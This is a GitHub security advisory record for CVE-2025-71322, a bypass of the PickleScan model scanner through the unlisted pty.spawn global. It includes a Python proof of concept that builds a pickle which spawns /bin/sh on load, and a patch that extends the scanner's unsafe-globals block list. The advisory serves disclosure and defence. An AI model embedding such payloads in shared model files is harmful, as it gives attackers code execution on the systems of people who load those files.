CVE-2025-71322: Picklescan Picklescan Bypasses Unsafe Globals Check Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hgrh-qx5j-jfwx",
  "modified" : "2026-06-18T14:41:30Z",
  "published" : "2025-12-29T15:26:37Z",
  "aliases" : [ "CVE-2025-71322" ],
  "summary" : "Picklescan Bypasses Unsafe Globals Check using pty.spawn",
  "details" : "### Summary\nThe vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of  the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.\n\n### Details\nFor 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released.\n\nThe intended way was to use `pty.spawn` but some players found alternative solutions.\n\n### PoC\n\n- Run the following Python code to generate the PoC pickle file.\n\n```py\nimport pickle\n\ncommand = b\"/bin/sh\"\n\npayload = b\"\".join(\n    [\n        pickle.PROTO + pickle.pack(\"B\", 4),\n        pickle.MARK,\n        pickle.GLOBAL + b\"pty\\n\" + b\"spawn\\n\",\n        pickle.EMPTY_LIST,\n        pickle.SHORT_BINUNICODE + pickle.pack(\"B\", len(command)) + command,\n        pickle.APPEND,\n        # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes\n        pickle.OBJ,\n        pickle.STOP,\n    ]\n)\n\nwith open(\"dump.pkl\", \"wb\") as f:\n    f.write(payload)\n```\n\n- Run PickleScan on the generated pickle file.\n<img width=\"936\" height=\"311\" alt=\"picklescan_bypass_pty_spawn\" src=\"https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f\" />\n\nPickleScan detects the `pty.spawn` global as \"suspicious\" but not \"dangerous\", allowing it to be loaded.\n\n### Impact\n**Severity**: High\n**Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.\n**Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.\n\n### Suggested Patch\n\n```\ndiff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py\nindex 34a5715..b434069 100644\n--- a/src/picklescan/scanner.py\n+++ b/src/picklescan/scanner.py\n@@ -150,6 +150,7 @@ _unsafe_globals = {\n     \"_pickle\": \"*\",\n     \"pip\": \"*\",\n     \"profile\": {\"Profile.run\", \"Profile.runctx\"},\n+    \"pty\": \"spawn\",\n     \"pydoc\": \"pipepager\",  # pydoc.pipepager('help','echo pwned')\n     \"timeit\": \"*\",\n     \"torch._dynamo.guards\": {\"GuardBuilder.get\"},\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.33"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-hgrh-qx5j-jfwx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71322"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/53"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-unsafe-globals-check-bypass-via-pty-spawn-function"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-29T15:26:37Z",
    "nvd_published_at" : null
  }
}